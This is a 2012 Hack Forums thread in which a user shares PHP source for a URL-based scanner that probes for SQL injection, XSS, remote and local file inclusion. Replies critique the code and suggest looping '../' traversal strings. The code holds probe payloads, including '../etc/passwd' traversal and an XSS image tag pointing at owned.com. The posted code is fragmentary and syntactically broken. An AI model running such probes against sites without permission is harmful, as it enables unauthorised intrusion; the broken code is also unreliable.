

Forum:[Hack Forums](#)

Thread: [Vulnerability Scanner By The Alchemist](#)

The Alchemist16 - December 30, 2012, 10:47 pm

First of all, I'd like to thank a hell lot to my friend ande, who helped me out with this project.

This is a vulnerability scanner made by me(with ande's help). It takes a link as input and checks if the link is vulnerable to SQLi, XSS, RFI or LFI vulnerability.

Copy-paste the code in notepad, save it with the extension .php
For example, save it as scanner.php

Upload it in your free(or paid) webhosting account and make sure your server supports PHP cURL, if it doesn't PM me for help and I'll help you for sure.

Or upload it in your local server. Surf the php file and check for vulnerabilities.

Here's the code :

PHP Code

```
<?php
<html>
<head>
    <title>Vulnerability Scanner</title>

    <style type="text/css">

        body
        {
            color: #ffffff;
            text-shadow: 2px 2px #000000;
            background-color: #282828;
            font-family: Arial, Helvetica, sans-serif;
        }

        pre
        {
            background-color: #353535;
            border: solid 1px #505050;
        }

        input
        {
            font-family: Arial, Helvetica, sans-serif;
        }

        .Button
        {
            padding: 5px 10px;
            background: #303030;
```



```

        "../../../../../etc/passwd",
        "../../../../../etc/passwd");
private $xss      = array("\"/><img src=\"http://owned.com\"/>");

private $sqlerrors = array("mysql_", "You have an error in your SQL syntax",
        "SQL Error", "Database Error", "supplied argument is not a valid MySQL result
resource");
private $rfierrors
= array("Welcome to Facebook - Log In, Sign Up or Learn More", "failed to open stream: No such f
ile or directory");
private $ffierrors = array("root:x:0:0:root:", "failed to open stream: No such file or directory");
private $xsserrors = array("<img src=\"http://owned.com\"/>");

public function isvalid($link)
{
    if(filter_var($link,FILTER_VALIDATE_URL) && strpos($link,"="))
        return true;
    return false;
}

private function getcontents($link)
{
    $agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_VERBOSE, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_URL,$link);
    $result=@curl_exec($ch);
    return $result;
}

private function errorcheck($url,$addtourl,$errorar)
{
    foreach($addtourl as $val)
    {
        $link = $url.$val;
        $contents = $this->getcontents($link);
        foreach($errorar as $err)
        {
            if(strpos($contents, $err))
                return true;
        }
    }
    return false;
}

public function issqlvulnerable($link)
{
    $orig = $link;

```

```

        if($this->errorcheck($orig,$this->sql,$this->sqlerrors))
            echo htmlentities($orig)
    ) ." <span style=\"color: red;\">might</span> be vulnerable to SQL Injection.<br />";
        else
            echo htmlentities($orig)
    ) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to SQL Injection.<br />";
}

public function isrfivulnerable($link)
{
    $orig = $link;
    $link = substr($link,0,strpos($link,'=')+1);
    if($this->errorcheck($link,$this->rfi,$this->rfierrors))
        echo htmlentities($orig)
    ) ." <span style=\"color: red;\">might</span> be vulnerable to RFI.<br />";
    else
        echo htmlentities($orig)
    ) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to RFI.<br />";
}

public function islfivulnerable($link)
{
    $orig = $link;
    $link = substr($link,0,strpos($link,'=')+1);
    if($this->errorcheck($link,$this->lfi,$this->lfierrors))
        echo htmlentities($orig)
    ) ." <span style=\"color: red;\">might</span> be vulnerable to LFI.<br />";
    else
        echo htmlentities($orig)
    ) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to LFI.<br />";
}

public function isxssvulnerable($link)
{
    $orig = $link;
    $link = substr($link,0,strpos($link,'=')+1);
    if($this->errorcheck($link,$this->xss,$this->xsserrors))
        echo htmlentities($orig)
    ) ." <span style=\"color: red;\">might</span> be vulnerable to XSS.<br />";
    else
        echo htmlentities($orig)
    ) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to XSS.<br />";
}

} // END OF CLASS

```

```

if(isset($_POST['url']) && isset($_POST['submit']))
{
    $obj = new Vulnscanner();
    $link = $_POST['url'];
    if($obj->isvalid($link))

```

```

{
  $obj->isIfvulnerable($link);
  $obj->isXssvulnerable($link);
  $obj->isSqlvulnerable($link);
  $obj->isRfivulnerable($link);
}
else
{
  echo "<span style=\"color: red;\">". htmlentities($link) ." is not a valid link.</span>";
}
}
?>
<>
</body>
</html>

```

If you want to have a look at a sample upload of this code, do let me know.

PLEASE GIVE FEEDBACK!!

badbrains - December 30, 2012, 11:51 pm

This is the worst way to make a class possible, IMO..
This could have been done much cleaner, no offense.

The Alchemist16 - December 31, 2012, 3:36 am

(Dec 31, 2012 12:51 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) This is the worst way to make a class possible, IMO..
This could have been done much cleaner, no offense. Much cleaner??
Can you show me?

fjallis - December 31, 2012, 4:00 am

(Dec 31, 2012 12:51 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) This is the worst way to make a class possible, IMO..
This could have been done much cleaner, no offense.
Agree.

This is absolutely horrible.. You can have made this as an challenge but release it is just stupid. If you really wanna check any vulnerability on any site use Acunetix.

This scanner is so screwed if display errors is set to 0 which it SHOULD BE on a site in production.

Good job.

badbrains - December 31, 2012, 4:09 am

(Dec 31, 2012 04:36 AM)The Alchemist16 Wrote: [\[CITE\]](#) Much cleaner??
Can you show me?
All you did was take procedural code and put "class vulnscanner { }" around it.

And don't get me started on

```
is___vulnerable($link) { .... }
```

The Alchemist16 - December 31, 2012, 4:12 am

(Dec 31, 2012 05:09 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) All you did was take procedural code and put "class vulnscanner { }" around it.

And don't get me started on

is__vulnerable(\$link) { }Still didn't get you.?
Why not show me how should I make it "cleaner"??

badbrains - December 31, 2012, 4:17 am

(Dec 31, 2012 05:12 AM)The Alchemist16 Wrote: [\[CITE\]](#) Still didn't get you.?
Why not show me how should I make it "cleaner"??
I'm sorry, I didn't mean to offend you, I know you were just trying to help ?
I'm cleaning it up a bit atm (of course, I didn't/won't do everything)

The Alchemist16 - December 31, 2012, 4:26 am

(Dec 31, 2012 05:17 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) I'm sorry, I didn't mean to offend you, I know you were just trying to help ?
I'm cleaning it up a bit atm (of course, I didn't/won't do everything)There's no need to be sorry. And I'm not offended at all!
But, what I'm interested to see is how to get it cleaned. Thats all.
The more I see, the more I learn. Thats all.?

badbrains - December 31, 2012, 4:29 am

<http://pastebin.com/btXtDW7M>

Documented the things I didn't agree with.
There is still much more to do with this.

The Alchemist16 - December 31, 2012, 4:35 am

(Dec 31, 2012 05:29 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) <http://pastebin.com/btXtDW7M>

Documented the things I didn't agree with.
There is still much more to do with this.
Thanks for the snippet. Even I'd thought of doing this, putting everything in a mega array, but something prevented me from doing it.(Damn, I should've done it.)
Anyways, thanks.?

badbrains - December 31, 2012, 4:38 am

(Dec 31, 2012 05:35 AM)The Alchemist16 Wrote: [\[CITE\]](#) Thanks for the snippet. Even I'd thought of doing this, putting everything in a mega array, but something prevented me from doing it.(Damn, I should've done it.)
Anyways, thanks.?
asdfasdfsdf
... Now that I have your attention again

<http://pastebin.com/F2bSKtAe> -- Fixed, I didn't actually test it before I gave you it LOL

You should edit this post and remove my quote so it doesn't stretch the page ?

The Alchemist16 - December 31, 2012, 4:45 am

Yup. Done.
Thanks for the code. I'll remember all of it next time.

badbrains - December 31, 2012, 4:57 am

(Dec 31, 2012 05:45 AM)The Alchemist16 Wrote: [\[CITE\]](#) Yup. Done.

Thanks for the code. I'll remember all of it next time.

Also, I managed to trigger a false positive in a local environment. You should also consider trying depth-testing, instead of typing "../.." over and over. Much nicer.

The Alchemist16 - January 1, 2013, 1:45 am

(Dec 31, 2012 05:57 AM)PeopleUnderTheStairs Wrote: [\[CITE\]](#) Also, I managed to trigger a false positive in a local environment. You should also consider trying depth-testing, instead of typing "../.." over and over. Much nicer. Depth testing?? Didn't quite get you... Sorry.

What does that mean?

badbrains - January 1, 2013, 8:12 am

Well, just generate the strings on the fly instead of making a dickhuge array of the paths, and preferably with a limited number of attempts

PHP Code

```
<?php
for($i = 0; $i < 10; $i++) {
    $str = '../' . $str;
    $data = $this->get($url . $str);
    if($this->errorThinger($data)) {
        // yay
    }
}
```

The Alchemist16 - January 1, 2013, 8:58 am

Oww... I see.

That will help if I have to add lots of '../..'.